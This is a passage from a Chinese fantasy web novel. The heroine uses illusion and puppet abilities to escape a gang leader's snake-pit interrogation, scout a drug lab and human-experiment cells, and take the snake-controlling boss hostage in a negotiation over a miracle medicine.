无数人被丢进万蛇窟之后痛哭流涕、宣誓效忠或精神崩溃，已经印证了他们的策略的有效性。 小姑娘没有动作，也没有说话。 疤脸：已经被折磨得说不出话了吧？或许下一秒就能看到她歇斯底里的样子。 蛇王爷居高临下地下令：“一定要审问出[全视之眼]的消息。张湖英那个不中用的家伙，很可能把[全视之眼]给了她。” 水箱里的小蛇正一个个争相去抢她手中的泥鳅。 疤脸关掉收声器，立正，低头，“是。” 随即打开收声器，对囚犯喊话道：“如果你好好回答我的问题，那你就能全须全尾的离开这里，毕竟，我们也不是什么恶人，我们只想要答案。” 小姑娘抬头看向监视器，水灵灵的眼睛里似乎含了泪水。 疤脸：“我问你张湖英是你什么人的时候，你撒谎了。但是没关系，我可以原谅你。只要乖乖告诉我，她有没有给过你一颗特殊的眼球……” 小姑娘垂下睫毛，摇摇头。 蛇王爷：“加码。” 疤脸捂住收声器，“是。” 随即对囚犯说道： “敬酒不吃吃罚酒是吧？” “如果你老实交代，还有机会活命！” 群蛇骚动起来。 一条蛇顺着小姑娘的腿爬了上去，小姑娘浑身僵硬，连动都不敢动，然后是第二条蛇、第三条、第四条……小姑娘浑身上下都被群蛇所包裹，连眼睛也被蛇蒙蔽。 一条环状斑纹的蛇张开大嘴，露出灌满毒液的牙齿—— 疤脸：“还是不说？呵呵，这是你自己找的。” “有一种被特殊训练过的小蛇，可以钻进人体里面搞破坏，它们会从你能想象到的身体上每一个洞里爬进去，然后撕咬、破坏、释放毒性！” “说实话，能坚持到这一步，我对你有一点钦佩了。” 蛇王爷笑了，“我曾经怨恨过神主，给了我天术，却是[操控蛇类]这样不能直接增加攻击力的能力。” “但是直到我的毒蛇把老鼠沟的上一任地头蛇咬死，我才意识到这能力真的是上天的一种恩赐——” “远远看着一具新鲜的肉丨体被这些可爱的小家伙洞穿、咬合、破坏，自己却隐藏在幕后，喝着一杯上好的酒，有什么比这更令人心潮澎湃的呢？” 她低声下令：“洞蛇，攻击囚犯！” “等等……”蛇王爷露出了奇怪的表情。 “她身上……没有洞！”她眉头皱了起来，像是意识到了什么，她“咣当”一下把盛着泥鳅的盘子扔到桌子上，“派人检查她的状况，现在，立刻，马上。” 就在这时，她忽然感到脖子上一凉，有什么锋利的东西架在了她的脖子上。 是一把通体漆黑的镰刀。而镰刀的四周有不祥的黑雾缠绕着。镰刀的主人从空气中浮现出身影。 “如果你好好回答我的问题，那你就能全须全尾的离开这里，毕竟，我也不是什么恶人，我只想要答案。” 蛇王爷脸色剧变。 威胁她的人不是他们的囚犯，还能是谁？ 她怎么会在这里！ 她不是在万蛇窟吗？蛇王爷的余光瞥向屏幕，却发现万蛇窟里，被群蛇缠住的并不是小姑娘，而是一个漆黑的，散发着黑雾的不祥人形。 而这时候，一声撕心裂肺的叫声响起，“不许伤害王爷！！！” 疤脸裸露的右眼中布满了血丝，一副因为主人被威胁而陷入了癫狂的样子。 但是他无法动弹，因为他已经被无形的傀儡[暴食]按在了地上，暴食手里的低频枪死死抵着他的后脑勺。 蛇王爷很快恢复了冷静，事情并没有陷入僵局，她还有蛇！溶洞里的几千条蛇，都受她指挥，听她号令。 为了稳住拿镰刀的小姑娘，她没有让这个屋子里的蛇动弹。 而屋子外面，无数条蛇飞快蛄蛹着、爬行着，在门口守了个水泄不通。 蛇王爷：“你想要万能的药？” “我的确知道万能药所在地区的坐标。” 白星冷声道：“在哪？” 蛇王爷：“我把坐标放进了保险箱，保险箱的地点只有我一个人知道，如果你放下武器，我就带你去。” “让我放下武器是不可能的。” “那就没有谈的必要了，我是一个首领，如果所有人看到我被挟持，那么我就会威信扫地，没有办法再统领这个群体了。这比杀了我还让我难受。不如你动手吧。” 疤脸右瞳的瞳孔微张，看见王爷被俘虏，听见蛇王爷这自暴自弃的话，他立刻恐惧缠身。 白星闻言，“这是身为首领的尊严吗？我知道了。” 然后她放下了镰刀。 但是在那之前，蛇王也就感受到了，一只看不见的冰冷利刃紧紧贴上了她的脖子，划出了一道轻微的血痕。 白星：“这样就没人能看见你被挟持了，假装我是你的新手下，带路。” 蛇王爷心中骇然，小姑娘还有多少手段是她不知道的？在万蛇窟里面使用的似乎是类似“替身”的能力，而无声无息潜入自己办公室的能力更是令人恐惧，这个能力多半与“隐身”有关，而现在，无形的利刃又架在她的脖子上，掣肘着她的一切行动。 但是没关系，大多数蛇的反应速度是普通人类的5-10倍。而守在门口的蛇，是她精心挑选出的优良品种中的优良个体，无论是从神经反应速度上、还是从肌肉启动速度上，都更胜人类10倍以上。 从静止到发动攻击到咬合，全程不会超过0.02秒。而普通人类的极限反应速度至少需要0.1秒。就算小姑娘是天眷者，也不会比蛇类优秀太多。 只要那几千条蛇当中有一条成功了，她就能逆转形势！ 她镇定而缓慢地移动着，动作无一不表明自己的无害，然后拉下了开门的闸。 金属门向两侧打开。 首先进来的不是别的东西，而是刺鼻的血腥气味。 蛇王爷心里咯噔一下，有了不祥的预感，下一秒，她心中不祥的预感就以事实的形式显露在她面前。 面前是蛇类的尸山尸海。几千条蛇，无一幸免，全被斩成了碎片。 [空气使者]作为傀儡，根本不怕蛇咬，而他[空气刃]隔空斩击的能力，打起蛇来简直所向披靡！ 现场就像是绞肉机的内部，岩壁上布满喷射状的血点子，血块和碎屑将地面变得滑腻，无数肉块散落在地面。如果心理承受能力弱的人看到这一幕，说不定会精神崩溃。 震惊的表情停留在蛇王爷脸上。 白星：“你在找什么？同伴吗？” “不好意思，门外只有我的同伴。” 20分钟前。 被群蛇环绕，坐在棺材板上的白星，咽下疯狂分泌的口水，在[幻象]的遮掩下，召唤出了傀儡[魔术师]。 脑海中给出命令：“你在这里替我待着。” [魔术师]点点头。 在[幻象]的作用下，[魔术师]的外表呈现出白星的样子，按照白星进一步的指令，装出瑟缩的样子，蜷缩在棺材盖子上。 而白星本人在[幻象]的掩盖下，悄悄向出口摸索而去。 看起来这些毒蛇被驯养的很好，没有主人的命令，不会攻击人类。 白星踩在蛇与蛇之间的间隙里，必要时还得挪开一两条蛇，才能找到下脚的位置。 这哪里是万蛇窟，这简直是美食宝库。在白星眼里，地上蛄蛹的都是肥美的肉！ 可惜现在不能吃掉它们，但是能趁机抓一条最有活力的放进[多余的胃袋]里。 [多余的胃袋]里可以储存活物，但是只能维持较短的时间，但是如果不及时取出，活物就会死掉。 哈哈，又是丰收的一天！ 一千多条蛇，里面忽然少了一条，就像是大海里蒸发了一滴水，难以被发现。 万蛇窟外，门口守着两个卫兵。如果白星在这，她就会认出，这两个就是抬她棺材的两人。 两人正在交头接 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里面有一些人戴着护目镜、手套，正在操作着烧杯、锥形瓶、试管等化学器皿，桌子上简陋的冷却回流系统里，铁锈色液体正在一滴一滴通过滤纸。 “动作快点！”一个头目样子的人吩咐着。 他用纸片刮取了一点制成的粉末状物体，放在鼻尖轻轻吸了一口，然后浑身一哆嗦，“这批纯度不错。” 白星：“！” 这竟是一个制造成瘾性违禁药品的地下窝点！ 正要离开，头目忽然毫无征兆地转身，这个角度，刚好能看到白星的位置。 还好她提前开启了[幻象]。有惊无险。 白星转身离开，向通道的另一个方向走去。 她看到几个浑身赤丨裸、沾满脏污的囚犯半死不活地躺在牢笼里，而旁边，一个穿白大褂的医生打扮的人正在嘟嘟囔囔地记录数据： “新产品的致死时间有点长……刚刚改进一下，不知道效果怎么样。” “你！”白大褂拿出一支装有蓝色液体的试管，指着一个囚犯，“你把这个喝下。” 囚犯哆哆嗦嗦的，害怕极了，“不不不，请饶了我……” 旁边的卫兵强行把试管里的东西灌给囚犯，囚犯被迫喝下之后，几秒钟就倒地而死。 白大褂满意地点点头，在手中的本子里勾勾画画。 卫兵抱怨道：“抓来的试药人不多了，博士您消耗得太快了，这样消耗下去，就算把整个老鼠沟的人口都抓来，也不够您使用的。” 白大褂脸上露出怒容，“临床试验是产出优秀新产品的必要条件！这是科学！！你懂吗？” 就在这时，他们的脖颈上一同出现了喷溅血液的伤口。 白星：看不顺眼，随手就是这么一杀。 白星依次路过存放制成药品的区域、员工宿舍等等…… 直到她发现了疤脸的身影，于是蹑手蹑脚地跟在疤脸后面，在溶洞中越走越深，最后抵达了蛇王爷栖息的巢穴。 她没有想到蛇王爷竟然是这样一个看起来十分普通的女人。 在那里，她目睹了蛇王爷和疤脸的对话，发现这俩人真是穷凶极恶，为了控制手下而喂食他们违禁药品，还是人体实验的幕后元凶。 白星同样目睹了他们对万蛇窟里面的小姑娘的审讯，只不过，小姑娘是[魔术师]假扮的。 魔术师无法发出声音，白星只能让他用[幻象]呈现出一种恐惧的状态。 这样做的目的，是为了诱使疤脸和蛇王爷在审讯中透露更多信息。 明面上，是疤脸和蛇王爷在审讯她，实际上，是她在“诱导审讯”另外两人。 果然，他们透露了新的信息，[全视之眼]。那是什么东西？万能药和[全视之眼]又有什么关系？ 后来就有了白星突然现身，挟持两人的一幕。 目睹群蛇被杀的蛇王爷已经从一开始的震惊中恢复了过来。 就像手下没了可以再招，蛇没了也可以再养。世界上的一切就好像是由零件构成的，无论少了哪一部分，都可以找到替换品。 只要她能解决现在的危机，其他的都不是问题。 “看来现在我的性命捏在你的手里了。”蛇王爷淡淡道。 “其实根本没有什么保险箱，对不对？”白星问道：“你只是想把我引到门口。” “是，你猜得不错。”蛇王爷说：“现在，我最大的依仗已经失去了。不得不说，我低估了你。” “告诉我万能药的坐标。” “如果我告诉你，我岂不是没有利用价值了？只有我不告诉你答案，才有活着的价值。” 白星不得不说，蛇王爷的推论是对的。 事情现在很棘手。 蛇王爷：“当我看到你的眼睛的时候，我知道你和我是一类人——一个眼睛里燃烧着火焰的女人，有着和自己地位不匹配的野心和欲望，天生低贱卑微，却从底层一路打杀上来，最后终于踩在那些自以为支配这个世界的男人们的头上。” “说实话，我很欣赏你，姑娘。” “也许我们可以和平地解决我们之间的争端。” 白星：“怎么解决？” 蛇王爷：“我的抽屉里有一个一次性天眷道具：B级的[誓约之言]，可以保证签订契约的双方必须履行约定的[誓言]。” “违背了会怎么样？” “会死。B级和B级以下的天眷者都会受其约束，不过我想如果你是B级天眷者的话，也不至于偷偷摸摸搞潜入刺杀，如果你是B级，我的帮派现在已经覆灭了。” 白星：“我当然不是B级。” 蛇王爷了然，“当然了。” “那么要做什么约定呢？” “我会告诉你万能药的坐标，而你将帮助我获得一百只万能药。在交易达成之前，谁也不能伤害对方。” 白星微微皱眉，这不合常理，“万能药有这么多吗？” 蛇王爷：“我可以用[誓约之言]起誓，那地方的存货，超出你的想像。”